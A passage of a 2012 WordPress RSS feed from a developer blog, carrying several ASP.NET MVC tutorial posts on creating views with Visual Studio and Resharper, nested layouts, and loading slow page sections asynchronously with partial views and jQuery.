		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Create new ASP.NET MVC views the easy way</title>
		<link>http://blog.michaelckennedy.net/2012/12/01/create-new-asp-net-mvc-views-the-easy-way/</link>
		<comments>http://blog.michaelckennedy.net/2012/12/01/create-new-asp-net-mvc-views-the-easy-way/#comments</comments>
		<pubDate>Sat, 01 Dec 2012 23:05:56 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[DIY]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Resharper]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=697</guid>
		<description><![CDATA[As an instructor at DevelopMentor, I have the unique opportunity to watch many developers experience ASP.NET MVC for the first time. This typically goes through several stages: Extreme Interest (the web is exciting again!) Confusion (where does the view go again? &#8230; <a href="http://blog.michaelckennedy.net/2012/12/01/create-new-asp-net-mvc-views-the-easy-way/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=697&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div style="width:100%;text-align:center;margin-bottom:25px;background-color:black;padding-top:2px;border:2px solid gray;"><a title="Join the instructor-supported online learning revolution." href="https://learninglineapp.com/tasks/140/create-views-in-mvc-razor-and-csharp" target="_blank"><img alt="" height="75" src="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" border="0" /></a></div>
<div>
<p>As an instructor at <a href="http://www.develop.com" target="_blank">DevelopMentor</a>, I have the unique opportunity to watch many developers experience ASP.NET MVC for the first time. This typically goes through several stages:</p>
<ol>
<li><span style="line-height:15px;"><strong>Extreme Interest</strong> (the web is exciting again!)</span></li>
<li><strong>Confusion</strong> (where does the view go again? wait, what&#8217;s routing?)</li>
<li><strong>Shock</strong> (you have <em><strong>got</strong> to be kidding</em>, forearch in the html file?)</li>
<li><strong>Loss</strong> (surely there are some drag-and-drop controls, right&#8230; right?)</li>
<li><strong>Acceptance</strong> (OK, I will learn HTML and CSS after 10 years of working on the web)</li>
<li><strong>Joy and Freedom</strong> (How could I have <em>ever</em> used webforms?)</li>
</ol>
<p>I rarely hear developers who&#8217;ve adopted MVC returning to webforms voluntarily. But not everyone makes it to level 6 of MVC enlightenment. So here is an article to help the new comers make it across step 2 more easily as well as help the advanced MVC developers be more productive.<span id="more-697"></span></p>
<p>MVC subscribes to the philosophy of <a href="http://en.wikipedia.org/wiki/Convention_over_configuration" target="_blank">convention over configuration</a>. This both makes MVC easier to use but also more confusing to beginners. For example, given an action method in a controller (say the Hello method in the Home controller) your view must be placed in the Views/Home/ folder and named Hello.cshtml. Luckily in the case of views, Visual Studio has the tooling built in to make this brain-dead.</p>
<p>Consider this  action method:</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/action-plain.png?w=584" /></p>
<p>First, you could do it the somewhat painful, manual way. Create the views sub-folders (Home), then right-click and choose &#8220;Add new item &gt; View&#8221;:</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/via-views.png?w=584" /></p>
<p>And you get this dialog. You then have to fill it out correctly. Make sure you call the view Car and make it strongly-typed to the Car class. It is not initialized for you.</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/wizard-1.png?w=584" /></p>
<p><strong>Creating Views via Action Methods</strong></p>
<p>But there is a faster and better way. Make sure your app is compiled. Then right-click <em>inside</em> the action method and choose <em><span style="text-decoration:underline;">add view</span></em>.</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/via-action.png?w=584" /></p>
<p>Now the wizard that comes up has the name of the view auto-filled by Visual Studio. Nice! It will also create any needed View subfolders and place the file in the correct one.</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/wizard-2.png?w=584" /></p>
<p><strong>Creating Views via Resharper</strong></p>
<p>Now, if you have <a href="http://www.jetbrains.com/resharper/" target="_blank">Resharper</a> installed, there are still better ways. First, the view will be <strong>red</strong> when it is missing. Here&#8217;s that same action with Resharper enabled.</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/action-rs.png?w=584" /></p>
<p>Placing the cursor on the view line gives you the red-light fix-it symbol. Hit ALT-ENTER to get the Resharper options.</p>
<p>Choose the bottom option, &#8220;Create view &#8216;Car&#8217; by VS&#8221;. This will bring up the dialog fully populated correctly:</p>
<p><a href="http://blog.michaelckennedy.net/2012/12/01/create-new-asp-net-mvc-views-the-easy-way/action-rs-go-select-2/" rel="attachment wp-att-725"><img class="alignnone size-full wp-image-725" alt="action-rs-go- select" src="http://michaelckennedy.files.wordpress.com/2012/12/action-rs-go-select.png?w=584"   /></a></p>
<p>Resharper populates the Add view dialog (make take a sec):</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/wizard-3.png?w=584" /></p>
<p>Hit enter and you&#8217;re all set! That&#8217;s the easiest way.</p>
<p>Resharper also has goodness for partial views. See the Car_ShowSummary is red below because it doesn&#8217;t exist.</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/via-partial.png?w=584" /></p>
<p>Choosing the same Resharper option, gives you a partial view populated perfectly (make sure you pass the model).</p>
<p><img class="alignnone size-full" title="wizard-4" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/wizard-4.png?w=584" /></p>
<p>Now you see how easy adding views to MVC projects can be. No need to remember the naming conventions or where exactly to place them. Visual Studio and Resharper handle it all for you.</p>
<p>Cheers,<br />
<a href="https://twitter.com/mkennedy" target="_blank">@mkennedy</a></div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/articles/'>Articles</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/diy/'>DIY</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/resharper/'>Resharper</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/697/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/697/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=697&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/12/01/create-new-asp-net-mvc-views-the-easy-way/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" medium="image" />

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/action-plain.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/via-views.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/wizard-1.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/via-action.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/wizard-2.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/action-rs.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/action-rs-go-select.png" medium="image">
			<media:title type="html">action-rs-go- select</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/wizard-3.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/via-partial.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/wizard-4.png" medium="image">
			<media:title type="html">wizard-4</media:title>
		</media:content>
	</item>
		<item>
		<title>Nested Layouts in ASP.NET MVC</title>
		<link>http://blog.michaelckennedy.net/2012/11/30/nested-layouts-in-asp-net-mvc-razor-pages/</link>
		<comments>http://blog.michaelckennedy.net/2012/11/30/nested-layouts-in-asp-net-mvc-razor-pages/#comments</comments>
		<pubDate>Sat, 01 Dec 2012 00:25:55 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=713</guid>
		<description><![CDATA[In this screencast, I&#8217;ll show you how easy it is to create ASP.NET MVC layout pages based on existing layout pages. This let&#8217;s you achieve a nested layout which you can compose to build beautiful websites in MVC with minimal code &#8230; <a href="http://blog.michaelckennedy.net/2012/11/30/nested-layouts-in-asp-net-mvc-razor-pages/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=713&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>In this screencast, I&#8217;ll show you how easy it is to create ASP.NET MVC layout pages based on existing layout pages. This let&#8217;s you achieve a nested layout which you can compose to build beautiful websites in MVC with minimal code duplication or effort.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/SrlU8sr5Tqc?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;hd=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>You can <a title="Nested-Layouts-In-MVC-Razor/NestedLayoutsInMVC-Final-Kennedy.zip" href="https://s3.amazonaws.com/michael-kennedy/blog/Nested-Layouts-In-MVC-Razor/NestedLayoutsInMVC-Final-Kennedy.zip">download the code</a> if you&#8217;re interested.</p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a>, <a href='http://blog.michaelckennedy.net/tag/video/'>Video</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/713/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/713/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=713&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/11/30/nested-layouts-in-asp-net-mvc-razor-pages/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Improve perceived performance of ASP.NET MVC websites with asynchronous partial views</title>
		<link>http://blog.michaelckennedy.net/2012/11/13/improve-perceived-performance-of-asp-net-mvc-websites-with-async-partialviews/</link>
		<comments>http://blog.michaelckennedy.net/2012/11/13/improve-perceived-performance-of-asp-net-mvc-websites-with-async-partialviews/#comments</comments>
		<pubDate>Wed, 14 Nov 2012 05:04:53 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=665</guid>
		<description><![CDATA[Imagine you’re building an ASP.NET MVC website which has some performance problems. I’m sure this would never actually happen to you, but imagine you’re facing this problem just for the sake of exploring the possibilities. :-) Now, your web app &#8230; <a href="http://blog.michaelckennedy.net/2012/11/13/improve-perceived-performance-of-asp-net-mvc-websites-with-async-partialviews/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=665&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div style="width:100%;text-align:center;margin-bottom:25px;background-color:black;padding-top:2px;border:2px solid gray;"><a title="Join the instructor-supported online learning revolution." href="https://learninglineapp.com/tasks/132/build-composite-views" target="_blank"><img alt="" height="75" src="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" border="0" /></a></div>
<div>
<p>Imagine you’re building an ASP.NET MVC website which has some performance problems. I’m sure this would never actually happen to you, but imagine you’re facing this problem just for the sake of exploring the possibilities. :-)</p>
<p>Now, your web app is mostly fast and responsive, but there are certain types of data that just bring the whole thing to a grind. This article will cover a technique using ASP.NET MVC partial views, along with just a sprinkle of jQuery, JavaScript, and HTML5 to make your site feel nice and responsive even if you cannot increase the speed of certain operations.<span id="more-665"></span></p>
<p>First a disclaimer / warning. I’m going to show you how to make your site feel faster without speeding it up. If the users feel that it’s fast, then it’s fast enough. However, it might be better to try to just make it faster in the first place. This article assumes you have either tried or ruled out things like increasing the DB performance by adding the proper indexes, caching data where feasible, optimizing queries, etc. OK, assuming you’ve done as much as you can for pure performance, let’s get to improving the experience for the users.</p>
<p>Consider a basic website that shows data from several sources. In the sample case, it’s kind of an iGoogle landing page with different items: TODO, news, etc. In the screenshot below you can see there are several sets of information shown (my details, news, and most popular items).</p>
<p style="text-align:center;"><a href="http://michaelckennedy.files.wordpress.com/2012/11/home.png"><img class="alignnone size-full wp-image-670" title="home" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/home.png?w=584" /></a><br />
(click to enlarge)</p>
<p>It turns out that my details and the main page are actually pretty fast. The news and popular items are not. Yet, we are computing them all at once in the MVC action. Thus the whole page feels sluggish and slow. Here is the underlying controller action method.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/11/sync-action.png"><img class="alignnone size-full wp-image-671" title="sync-action" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/sync-action.png?w=584" /></a></p>
<p>This is a perfectly reasonable action method. But after doing some profiling we see that we have the following performance footprint:</p>
<pre>  10ms repository.GetUserItems()
 500ms repository.GetNews()
2000ms repository.GetPopular()
2510ms TOTAL</pre>
<p>I don’t know about you, but 2.5 seconds seems like an unacceptable page load time. Don’t think so? Check out these amazing facts:</p>
<p style="padding-left:30px;"><a href="http://highscalability.com/latency-everywhere-and-it-costs-you-sales-how-crush-it" target="_blank">Latency is Everywhere and it Costs You Sales &#8211; How to Crush it</a><br />
<em>Latency matters. Amazon found every 100ms of latency cost them 1% in sales. Google found an extra .5 seconds in search page generation time dropped traffic by 20%.<br />
</em></p>
<p>So a simple solution would be to break the loading of the slower sections (news &amp; popular in our case) apart from the faster sections in the page. We can load the fast data immediately using direct model to razor processing and push the loading of the slow parts to an asynchronous operation using AJAX.</p>
<p>That might be a lot of work in general. But with MVC we can employ a few techniques and really make this simple and foolproof.</p>
<p>First, we’re in luck from the start because we are already using partial views (a key step) for our razor code. If you don&#8217;t have partial views, <a href="http://blog.michaelckennedy.net/2012/11/01/screencast-refactoring-with-partial-views-in-mvc/" target="_blank">they are easy to add</a>. Here is the relevant page section which renders the data synchronously.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/11/partials-already.png"><img class="alignnone size-full wp-image-672" title="partials-already" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/partials-already.png?w=584" /></a></p>
<p>MVC will easily serve the PopularControl’s content up over AJAX and same for any other partial view. So let’s change our controller action in the most simple way to allow us to ask for those elements independently. Here’s the new controller code:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/11/async-act.png"><img class="alignnone size-full wp-image-674" title="async-act" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/async-act.png?w=584" /></a></p>
<p>It is important to note that we are returning PartialView (not View) for the parts that were previously managed in the view (news &amp; popular).</p>
<p>Assuming the metrics above, the page will now load in 10ms. That’s vastly better than 2,500ms. With razor rendering time and other overhead it’s more like 50ms, but still vastly better.</p>
<p>But our CSHTML is now messed up. What do we need to do to load this content asynchronously? First, we start by punching “holes” in our razor page where the JavaScript can add the content async. Notice how we use the data-url attribute to simplify coordinating the proper location for the content. We’ll see the JavaScript side of things shortly.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/11/async-holes.png"><img class="alignnone size-full wp-image-675" title="async-holes" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/async-holes.png?w=584" /></a></p>
<p>Each section that will be loaded asynchronously now has three changes.</p>
<ol>
<li>We have a <strong>div</strong> with the class <em><strong>partialContents</strong></em>. We use this in jQuery to locate them.</li>
<li>Each <em><strong>partialContents</strong> </em>section has a <em><strong>data-url</strong> </em>for the location of the partialview controller action.</li>
<li>Each <em><strong>partialContents</strong> </em>section has a message and image to show an AJAX indicator that we are working on that area. There is no extra effort to show this. It appears by default and will be replaced as the content loads.</li>
</ol>
<p>So the controller is ready to serve up this partial content. The view is showing a pending action and has a place to put the results. The final step is to just add the smallest amount of jQuery to do the download and update.</p>
<p>Here is the JavaScript file that does the work. Notice we simply select all the partialContents sections on page load with jQuery. The foreach one we pull out the url and call jQuery.load(). This does the download and updates the HTML for the correct partialContents.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/11/async-js.png"><img class="alignnone size-full wp-image-676" title="async-js" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/async-js.png?w=584" /></a></p>
<p>That’s it! Now our site loads the slow sections in parallel and asynchronously.</p>
<p>To fully appreciate the difference you should see it for yourself. Check out the live demo I’ve posted here:</p>
<p><strong>Sample: Improve Perceived Performance with Async Partial Views</strong><br />
Slow Version: <a href="http://samples.michaelckennedy.net/asyncviews/home" target="_blank">http://samples.michaelckennedy.net/asyncviews/home</a><br />
Async Version: <a href="http://samples.michaelckennedy.net/asyncviews/async" target="_blank">http://samples.michaelckennedy.net/asyncviews/async</a></p>
<p>Be sure to click between them with the nav in the top right. Download the code here:</p>
<p><a href="https://s3.amazonaws.com/michael-kennedy/blog/Async-PartialViews-in-MVC-Sample-Kennedy/AsyncPartialViewsSampleKennedy.zip" target="_blank">AsyncPartialViewsSampleKennedy.zip</a></p>
<p>Finally, here is the original version with the timing measured in FireBug:</p>
<p><strong>Slow, Synchronous Version:</strong><br />
<a href="http://michaelckennedy.files.wordpress.com/2012/11/sync.png"><img class="alignnone size-full wp-image-677" title="sync" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/sync.png?w=584" /></a></p>
<p>Notice the time: 2.6 seconds. Yuck. Here is the timing after the improvement:</p>
<p><strong>Much Faster Async Version:</strong><br />
<a href="http://michaelckennedy.files.wordpress.com/2012/11/async.png"><img class="alignnone size-full wp-image-678" title="async" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/async.png?w=584" /></a></p>
<p>Now it’s 50ms! That is pretty awesome. Of course, if you look at the AJAX requests, they still take the same amount of time. But we do get the added benefit of natural parallelism from AJAX:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/11/async-xhr.png"><img class="alignnone size-full wp-image-679" title="async-xhr" alt="" src="http://michaelckennedy.files.wordpress.com/2012/11/async-xhr.png?w=584" /></a></p>
<p>Now the whole page is ready in around 2 seconds which is in some sense truly faster (not just perceived) than the original.</p>
<p>So to recap, here are the steps we performed.</p>
<ol>
<li>Identified the segments of data that are slow.</li>
<li>Took the original action method and change it to only load the fast content in the controller.</li>
<li>Moved the CSHTML responsible for rendering each slow section to a partial view if it was not already done.</li>
<li>Added an action method returning a PartialViewResult for each async section.</li>
<li>Added a partialContent pending section with loading message and data-url to parts of the original page which are going to be loaded asynchronously.</li>
<li>Use jQuery to find and call .load() for each section.</li>
</ol>
<p>That’s it. Hopefully you will find this a useful technique for your slower pages.</p>
<p>Cheers,<br />
<a href="https://twitter.com/mkennedy" target="_blank">@mkennedy</a></div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/articles/'>Articles</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/jquery/'>jQuery</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/665/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/665/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=665&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/11/13/improve-perceived-performance-of-asp-net-mvc-websites-with-async-partialviews/feed/</wfw:commentRss>
		<slash:comments>62</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" medium="image" />

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/home.png" medium="image">
			<media:title type="html">home</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/sync-action.png" medium="image">
			<media:title type="html">sync-action</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/partials-already.png" medium="image">
			<media:title type="html">partials-already</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/async-act.png" medium="image">
			<media:title type="html">async-act</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/async-holes.png" medium="image">
			<media:title type="html">async-holes</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/async-js.png" medium="image">
			<media:title type="html">async-js</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/sync.png" medium="image">
			<media:title type="html">sync</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/async.png" medium="image">
			<media:title type="html">async</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/11/async-xhr.png" medium="image">
			<media:title type="html">async-xhr</media:title>
		</media:content>
	</item>
		<item>
		<title>Screencast: Refactoring with Partial Views in MVC</title>
		<link>http://blog.michaelckennedy.net/2012/11/01/screencast-refactoring-with-partial-views-in-mvc/</link>
		<comments>http://blog.michaelckennedy.net/2012/11/01/screencast-refactoring-with-partial-views-in-mvc/#comments</comments>
		<pubDate>Thu, 01 Nov 2012 22:03:29 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=661</guid>
		<description><![CDATA[In this screencast, I show you how to create maintainable and readable ASP.NET MVC razor views by refactoring them into smaller, reusable blocks with partial views. Download the code: Refactoring-with-Partial-Views-in-MVC-Kennedy.zip Filed under: Video Tagged: .NET, ASP.NET, LearningLine, MVC, Screencasts, web<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=661&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div style="width:100%;text-align:center;margin-bottom:25px;background-color:black;padding-top:2px;border:2px solid gray;"><a title="Join the instructor-supported online learning revolution." href="https://learninglineapp.com/tasks/132/build-composite-views" target="_blank"><img alt="" height="75" src="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" border="0" /></a></div>
<div>
<p>In this screencast, I show you how to create maintainable and readable ASP.NET MVC razor views by refactoring them into smaller, reusable blocks with partial views.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/0WMFixqPLg4?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Download the code: <a href="https://s3.amazonaws.com/michael-kennedy/blog/Refactoring-with-Partial-Views-in-MVC/Refactoring-with-Partial-Views-in-MVC-Kennedy.zip" target="_blank">Refactoring-with-Partial-Views-in-MVC-Kennedy.zip</a></div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/661/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/661/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=661&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/11/01/screencast-refactoring-with-partial-views-in-mvc/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>45.523452 -122.676207</georss:point>
		<geo:lat>45.523452</geo:lat>
		<geo:long>-122.676207</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" medium="image" />
	</item>
		<item>
		<title>Screencast: Strongly-Typed Views in ASP.NET MVC</title>
		<link>http://blog.michaelckennedy.net/2012/10/31/screencast-strongly-typed-views-in-asp-net-mvc/</link>
		<comments>http://blog.michaelckennedy.net/2012/10/31/screencast-strongly-typed-views-in-asp-net-mvc/#comments</comments>
		<pubDate>Wed, 31 Oct 2012 14:59:56 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[.NET]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=655</guid>
